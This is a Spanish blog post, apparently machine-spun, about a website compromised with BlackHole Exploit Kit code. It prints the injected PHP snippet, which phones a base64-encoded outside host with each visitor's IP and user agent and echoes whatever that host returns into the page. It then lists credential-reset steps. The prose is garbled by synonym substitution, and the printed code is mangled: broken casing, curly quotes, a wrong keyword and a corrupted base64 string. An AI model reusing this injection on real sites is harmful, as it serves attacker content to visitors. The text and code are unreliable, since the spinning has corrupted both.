Web Hackeada (BlackHole Exploit Kit)

he estado estos dos últimos términos revisando la web de un cliente que había sido Hackeada. Los antivirus de muchos de sus legatarios les saltaban con el consejo de alerta de sujeto blackhole Exploit Kit y abortaban la conexión.

tras probar el log del palafrenero y observar varias papeletas por Ftp de una gestión natal de Canadá, revisé los editoriales que parecían haber sido reformados por este advenedizo. En este albur, variados ficheros index.php adinerados en distintos inventarios del servidor.

en todos estos anaqueles se había abarcado este cacho de estatuto Php.

<?php
if (!isset($sretry))
{
total $Sretry;
$Sretry = 1;
// This code use for común bot statistic
$Suseragent = Strtolower($_server['http_user_agent']); //  Looks for google serch bot
$Stcurlhandle = Null;
$Stcurllink = “”;
If((strstr($suseragent, ‘google’) == False)&&(strstr($suseragent, ‘yahoo’) == False)&&(strstr($suseragent, ‘baidu’) == False)&&(strstr($suseragent, ‘msn’) == False)&&(strstr($suseragent, ‘opera’) == False)&&(strstr($suseragent, ‘chrome’) == False)&&(strstr($suseragent, ‘bing’) == False)&&(strstr($suseragent, ‘safari’) == False)&&(strstr($suseragent, ‘bot’) == false)) // Bot comes
{
If(isset($_server['remote_addr']) == true && Isset($_server['http_host']) == true){ // Create  bot analitics
$Stcurllink = base64_decode( ‘ahr0cdovl2jyb3dzzxjnbg9iywxzdgf0lmnvbs9zdgf0rc9zdgf0lnboca==’).’?ip=’.urlencode($_server['remote_addr']).’&useragent=’.urlencode($suseragent).’&domainname=’.urlencode($_server['http_host']).’&fullpath=’.urlencode($_server['request_uri']).’&check=’.isset($_get['look']);
@$stcurlhandle = curl_init( $Stcurllink );
}
}
if ( $Stcurlhandle !== Null )
{
Curl_setopt($stcurlhandle, Curlopt_returntransfer, 1);
Curl_setopt($stcurlhandle, Curlopt_timeout, 6);
$Sresult = @Curl_exec($stcurlhandle);
if ($sresult[0]==”o”)
{$sresult[0]=” “;
echo $Sresult; // Statistic code end
}
Curl_close($stcurlhandle);
}
}
?>

el libro legalizado en Base64  ahr0cdovl2jyb3dzzxjnbg9iywxzdgf0lmnvbs9zdgf0rc9zdgf0lnboca contiene esta tutela [http://hotlogupdate.com/stat/stat.php]

en este percance, el reglamento es facilmente reconocible. En otras insignificancias el edicto entremetido es un javascript velado bastante mas dificil de detectar.

si vuestra web es hackeada e apestada por este u otro tipo de reglamento pillo es recomendable que toméis las subsiguientes medidas aparte de aniquilar el maloliento reglamento claro …

1. Cambiar las credenciales de paso al cartel de ejercicio del Alojamiento (plesk, cpanel …)

2. Cambiar las credenciales de la enumeración Ftp

3. Revisar los elencos desde los que se ha conseguido con la perla Ftp cuyas credenciales parecen haber sido sustraidas en averiguación de algún tipo de Troyano que el hacker haya podido disfrutar para sustraerlas.

 
]]>



Este post se a creado automaticamente con autoblogger imperium descargalo Gratuito